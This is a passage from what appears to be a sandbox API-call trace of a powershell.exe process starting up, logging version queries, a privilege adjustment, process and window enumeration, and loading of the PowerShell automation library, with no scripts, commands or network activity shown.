	[0079.713] VerQueryValueW (in: pBlock=0x29753ac, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0xeee74, puLen=0xeee70 | out: lplpBuffer=0xeee74*=0x0, puLen=0xeee70) returned 0
	[0079.713] VerQueryValueW (in: pBlock=0x29753ac, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xeee68, puLen=0xeee64 | out: lplpBuffer=0xeee68*=0x2975448, puLen=0xeee64) returned 1
	[0079.714] VerLanguageNameW (in: wLang=0x0, szLang=0x617f50, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10
	[0079.715] VerQueryValueW (in: pBlock=0x29753ac, lpSubBlock="\\", lplpBuffer=0xeee7c, puLen=0xeee78 | out: lplpBuffer=0xeee7c*=0x29753d4, puLen=0xeee78) returned 1
	[0079.734] GetCurrentProcessId () returned 0x960
	[0079.789] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0xee6b4 | out: lpLuid=0xee6b4*(LowPart=0x14, HighPart=0)) returned 1
	[0079.790] GetLastError () returned 0x0
	[0079.794] GetCurrentProcess () returned 0xffffffff
	[0079.794] GetLastError () returned 0x0
	[0079.796] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0xee6b0 | out: TokenHandle=0xee6b0*=0x2f0) returned 1
	[0079.796] GetLastError () returned 0x0
	[0079.798] AdjustTokenPrivileges (in: TokenHandle=0x2f0, DisableAllPrivileges=0, NewState=0x2977eec*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0079.798] GetLastError () returned 0x514
	[0079.800] CloseHandle (hObject=0x2f0) returned 1
	[0079.800] GetLastError () returned 0x514
	[0079.805] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x960) returned 0x2f0
	[0079.805] GetLastError () returned 0x514
	[0079.814] EnumProcessModules (in: hProcess=0x2f0, lphModule=0x2977f30, cb=0x100, lpcbNeeded=0xeeea4 | out: lphModule=0x2977f30, lpcbNeeded=0xeeea4) returned 1
	[0079.815] GetLastError () returned 0x514
	[0079.818] GetModuleInformation (in: hProcess=0x2f0, hModule=0x21ac0000, lpmodinfo=0x2978070, cb=0xc | out: lpmodinfo=0x2978070*(lpBaseOfDll=0x21ac0000, SizeOfImage=0x72000, EntryPoint=0x21ac7363)) returned 1
	[0079.818] GetLastError () returned 0x514
	[0079.820] GetModuleBaseNameW (in: hProcess=0x2f0, hModule=0x21ac0000, lpBaseName=0x62f898, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe
	[0079.820] GetLastError () returned 0x514
	[0079.821] GetModuleFileNameExW (in: hProcess=0x2f0, hModule=0x21ac0000, lpFilename=0x62f898, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39
	[0079.822] GetLastError () returned 0x514
	[0079.822] CloseHandle (hObject=0x2f0) returned 1
	[0079.822] GetLastError () returned 0x514
	[0079.830] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x960) returned 0x2f0
	[0079.830] GetLastError () returned 0x514
	[0079.832] GetExitCodeProcess (in: hProcess=0x2f0, lpExitCode=0x2977520 | out: lpExitCode=0x2977520*=0x103) returned 1
	[0079.832] GetLastError () returned 0x514
	[0079.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3975278, Length=0x20000, ResultLength=0xeeeec | out: SystemInformation=0x3975278, ResultLength=0xeeeec*=0x9c10) returned 0x0
	[0079.860] EnumWindows (lpEnumFunc=0x7a3612, lParam=0x0) returned 1
	[0079.862] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x620
	[0079.862] GetLastError () returned 0x514
	[0079.862] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x64c
	[0079.862] GetLastError () returned 0x514
	[0079.862] GetWindowThreadProcessId (in: hWnd=0x200ce, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.862] GetLastError () returned 0x514
	[0079.862] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.862] GetLastError () returned 0x514
	[0079.862] GetWindowThreadProcessId (in: hWnd=0x200f0, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.862] GetLastError () returned 0x514
	[0079.862] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.862] GetLastError () returned 0x514
	[0079.863] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.863] GetLastError () returned 0x514
	[0079.863] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.863] GetLastError () returned 0x514
	[0079.863] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.863] GetLastError () returned 0x514
	[0079.863] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.863] GetLastError () returned 0x514
	[0079.863] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.863] GetLastError () returned 0x514
	[0079.863] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.863] GetLastError () returned 0x514
	[0079.864] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.864] GetLastError () returned 0x514
	[0079.864] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.864] GetLastError () returned 0x514
	[0079.864] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.864] GetLastError () returned 0x514
	[0079.864] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x524
	[0079.864] GetLastError () returned 0x514
	[0079.864] GetWindowThreadProcessId (in: hWnd=0x5009c, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.864] GetLastError () returned 0x514
	[0079.864] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.864] GetLastError () returned 0x514
	[0079.865] GetWindowThreadProcessId (in: hWnd=0x20204, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x964
	[0079.865] GetLastError () returned 0x514
	[0079.866] GetWindow (hWnd=0x20204, uCmd=0x4) returned 0x0
	[0079.867] IsWindowVisible (hWnd=0x20204) returned 0
	[0079.868] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x280
	[0079.868] GetLastError () returned 0x514
	[0079.868] GetWindowThreadProcessId (in: hWnd=0x2019a, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x280
	[0079.868] GetLastError () returned 0x514
	[0079.868] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x86c
	[0079.868] GetLastError () returned 0x514
	[0079.868] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x280
	[0079.868] GetLastError () returned 0x514
	[0079.868] GetWindowThreadProcessId (in: hWnd=0x30198, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x280
	[0079.868] GetLastError () returned 0x514
	[0079.868] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x280
	[0079.868] GetLastError () returned 0x514
	[0079.869] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x280
	[0079.869] GetLastError () returned 0x514
	[0079.869] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x448
	[0079.869] GetLastError () returned 0x514
	[0079.869] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x76c
	[0079.869] GetLastError () returned 0x514
	[0079.869] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x440
	[0079.869] GetLastError () returned 0x514
	[0079.869] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x714
	[0079.869] GetLastError () returned 0x514
	[0079.869] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x228
	[0079.869] GetLastError () returned 0x514
	[0079.869] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x7a8
	[0079.870] GetLastError () returned 0x514
	[0079.870] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x6ac
	[0079.870] GetLastError () returned 0x514
	[0079.870] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x494
	[0079.870] GetLastError () returned 0x514
	[0079.870] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x148
	[0079.870] GetLastError () returned 0x514
	[0079.870] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x46c
	[0079.870] GetLastError () returned 0x514
	[0079.870] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x4d8
	[0079.870] GetLastError () returned 0x514
	[0079.870] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x3fc
	[0079.870] GetLastError () returned 0x514
	[0079.871] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0xf8
	[0079.871] GetLastError () returned 0x514
	[0079.871] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x23c
	[0079.871] GetLastError () returned 0x514
	[0079.871] GetWindowThreadProcessId (in: hWnd=0x10152, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x3ec
	[0079.871] GetLastError () returned 0x514
	[0079.871] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x7e0
	[0079.871] GetLastError () returned 0x514
	[0079.871] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x484
	[0079.871] GetLastError () returned 0x514
	[0079.871] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x4c4
	[0079.871] GetLastError () returned 0x514
	[0079.872] GetWindowThreadProcessId (in: hWnd=0x70108, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x558
	[0079.872] GetLastError () returned 0x514
	[0079.872] GetWindowThreadProcessId (in: hWnd=0x20144, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x618
	[0079.872] GetLastError () returned 0x514
	[0079.872] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x620
	[0079.872] GetLastError () returned 0x514
	[0079.872] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x61c
	[0079.872] GetLastError () returned 0x514
	[0079.872] GetWindowThreadProcessId (in: hWnd=0x2012c, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x620
	[0079.872] GetLastError () returned 0x514
	[0079.873] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x61c
	[0079.873] GetLastError () returned 0x514
	[0079.873] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x620
	[0079.873] GetLastError () returned 0x514
	[0079.873] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x618
	[0079.873] GetLastError () returned 0x514
	[0079.873] GetWindowThreadProcessId (in: hWnd=0x200d2, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x618
	[0079.873] GetLastError () returned 0x514
	[0079.873] GetWindowThreadProcessId (in: hWnd=0x200c2, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.873] GetLastError () returned 0x514
	[0079.873] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.873] GetLastError () returned 0x514
	[0079.873] GetWindowThreadProcessId (in: hWnd=0x200b2, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.873] GetLastError () returned 0x514
	[0079.874] GetWindowThreadProcessId (in: hWnd=0x200b6, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.874] GetLastError () returned 0x514
	[0079.874] GetWindowThreadProcessId (in: hWnd=0x200be, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.874] GetLastError () returned 0x514
	[0079.874] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.874] GetLastError () returned 0x514
	[0079.874] GetWindowThreadProcessId (in: hWnd=0x300a2, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.874] GetLastError () returned 0x514
	[0079.874] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x678
	[0079.874] GetLastError () returned 0x514
	[0079.874] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x524
	[0079.874] GetLastError () returned 0x514
	[0079.875] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x658
	[0079.875] GetLastError () returned 0x514
	[0079.875] GetWindowThreadProcessId (in: hWnd=0x50098, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.875] GetLastError () returned 0x514
	[0079.875] GetWindowThreadProcessId (in: hWnd=0x1008e, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x614
	[0079.875] GetLastError () returned 0x514
	[0079.875] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.875] GetLastError () returned 0x514
	[0079.875] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x550
	[0079.875] GetLastError () returned 0x514
	[0079.875] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.875] GetLastError () returned 0x514
	[0079.875] GetWindowThreadProcessId (in: hWnd=0x1006e, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.875] GetLastError () returned 0x514
	[0079.876] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x7e8
	[0079.876] GetLastError () returned 0x514
	[0079.876] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.876] GetLastError () returned 0x514
	[0079.876] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.876] GetLastError () returned 0x514
	[0079.876] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x524
	[0079.876] GetLastError () returned 0x514
	[0079.876] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x524
	[0079.876] GetLastError () returned 0x514
	[0079.876] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x4d0
	[0079.876] GetLastError () returned 0x514
	[0079.877] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x504
	[0079.877] GetLastError () returned 0x514
	[0079.877] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x564
	[0079.877] GetLastError () returned 0x514
	[0079.877] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x280
	[0079.877] GetLastError () returned 0x514
	[0079.877] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x524
	[0079.877] GetLastError () returned 0x514
	[0079.877] GetWindowThreadProcessId (in: hWnd=0x10128, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x64c
	[0079.877] GetLastError () returned 0x514
	[0079.877] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.877] GetLastError () returned 0x514
	[0079.877] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x594
	[0079.878] GetLastError () returned 0x514
	[0079.878] GetWindowThreadProcessId (in: hWnd=0x20202, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x978
	[0079.878] GetLastError () returned 0x514
	[0079.878] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x280
	[0079.878] GetLastError () returned 0x514
	[0079.878] GetWindowThreadProcessId (in: hWnd=0x20194, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x280
	[0079.878] GetLastError () returned 0x514
	[0079.878] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x448
	[0079.878] GetLastError () returned 0x514
	[0079.878] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x76c
	[0079.878] GetLastError () returned 0x514
	[0079.878] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x440
	[0079.878] GetLastError () returned 0x514
	[0079.879] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x714
	[0079.879] GetLastError () returned 0x514
	[0079.879] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x228
	[0079.879] GetLastError () returned 0x514
	[0079.879] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x7a8
	[0079.879] GetLastError () returned 0x514
	[0079.879] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x6ac
	[0079.879] GetLastError () returned 0x514
	[0079.879] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x494
	[0079.879] GetLastError () returned 0x514
	[0079.879] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x148
	[0079.879] GetLastError () returned 0x514
	[0079.880] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x46c
	[0079.880] GetLastError () returned 0x514
	[0079.880] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x4d8
	[0079.880] GetLastError () returned 0x514
	[0079.880] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x3fc
	[0079.880] GetLastError () returned 0x514
	[0079.880] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0xf8
	[0079.880] GetLastError () returned 0x514
	[0079.880] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x23c
	[0079.880] GetLastError () returned 0x514
	[0079.880] GetWindowThreadProcessId (in: hWnd=0x10154, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x3ec
	[0079.880] GetLastError () returned 0x514
	[0079.881] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x7e0
	[0079.881] GetLastError () returned 0x514
	[0079.881] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x484
	[0079.881] GetLastError () returned 0x514
	[0079.881] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x4c4
	[0079.881] GetLastError () returned 0x514
	[0079.881] GetWindowThreadProcessId (in: hWnd=0x3010c, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x558
	[0079.881] GetLastError () returned 0x514
	[0079.881] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x61c
	[0079.881] GetLastError () returned 0x514
	[0079.881] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x620
	[0079.881] GetLastError () returned 0x514
	[0079.881] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x618
	[0079.881] GetLastError () returned 0x514
	[0079.881] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x524
	[0079.882] GetLastError () returned 0x514
	[0079.882] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x550
	[0079.882] GetLastError () returned 0x514
	[0079.882] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x7e8
	[0079.882] GetLastError () returned 0x514
	[0079.882] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x524
	[0079.882] GetLastError () returned 0x514
	[0079.882] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x4d0
	[0079.882] GetLastError () returned 0x514
	[0079.882] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0xeeb40 | out: lpdwProcessId=0xeeb40) returned 0x564
	[0079.882] GetLastError () returned 0x514
	[0079.882] GetLastError () returned 0x514
	[0079.894] WerSetFlags () returned 0x0
	[0079.913] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1
	[0079.915] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0xeef1c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xeef18 | out: pulNumLanguages=0xeef1c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xeef18) returned 1
	[0079.915] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0xeef1c, pwszLanguagesBuffer=0x298c024, pcchLanguagesBuffer=0xeef18 | out: pulNumLanguages=0xeef1c, pwszLanguagesBuffer=0x298c024, pcchLanguagesBuffer=0xeef18) returned 1
	[0079.944] GetUserDefaultLocaleName (in: lpLocaleName=0x617f50, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6
	[0080.012] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0080.012] GetLastError () returned 0xcb
	[0080.015] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0080.016] GetLastError () returned 0xcb
	[0080.017] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x617f50, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0080.017] GetLastError () returned 0xcb
	[0080.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee98c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0080.040] GetLastError () returned 0xcb
	[0080.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xee9a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0080.040] GetLastError () returned 0xcb
	[0080.040] SetErrorMode (uMode=0x1) returned 0x1
	[0080.040] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0xeee28 | out: lpFileInformation=0xeee28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1
	[0080.040] GetLastError () returned 0xcb
	[0080.040] SetErrorMode (uMode=0x1) returned 0x1
	[0080.040] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0xeeeac | out: lpdwHandle=0xeeeac) returned 0x94c
	[0080.041] GetLastError () returned 0x0
	[0080.041] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x298e554 | out: lpData=0x298e554) returned 1
	[0080.042] VerQueryValueW (in: pBlock=0x298e554, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xeee78, puLen=0xeee74 | out: lplpBuffer=0xeee78*=0x298e5f0, puLen=0xeee74) returned 1
